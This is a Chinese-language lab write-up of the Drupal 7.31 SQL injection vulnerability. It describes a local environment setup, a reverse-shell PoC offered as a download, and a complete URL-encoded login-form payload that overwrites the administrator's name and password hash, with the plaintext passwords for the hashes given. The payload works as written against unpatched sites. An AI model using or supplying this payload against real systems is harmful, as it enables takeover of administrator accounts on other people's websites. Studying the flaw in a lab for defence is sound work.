Drupal 7.31 SQL注入漏洞
漏洞详解:
Drupal是一个开源内容管理平台,为数百万个网站和应用程序提供支持。
这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以也就只是写个Exp不再深入下去。
环境搭建:
环境打包在目录下安装即可
中间遇到的问题:
解决方法:关闭extersion=php_mbstring.dll(修改前注意备份原来的)
xploit:
原先管理员帐号:root 密码:rootxxxx
漏洞复现:
第一种:
poc:下载地址
命令执行效果:本地监听端口获取反弹shell
接收反弹shell的过程中主线程会阻塞。
反弹shell效果;
第二种:
程序执行:如下图
http://127.0.0.1/drupal-7.31/node?destination=node
点击 login 这里post修改查询语句,插入update的sql语句直接更改管理员帐号密码。
这里的加密方式调用官方的password-hash.sh 去生成自己的hash
这里报错了。
找了两个网上的公开的hash去update 。
$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld ---->thanks
$S$CTo9G7Lx2mJrSyWmlh3NRTXL6AWJt35fzep9obyjkwezMHOgQf.s --->P@55w0rd.
Payload:
name[0%20;update+users+set+name%3d\'owned\'+,+pass+%3d+\'$S$CTo9G7Lx2mJrSyWmlh3NRTXL6AWJt35fzep9obyjkwezMHOgQf.s\'+where+uid+%3d+\'1\';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
直接update用户:owned 密码:P@55w0rd
从数据库查询回来的结果或者mysql的监控可以看到,管理员的用户名和密码都被重置。owned用户提升为管理员,并且密码设为P@55w0rd。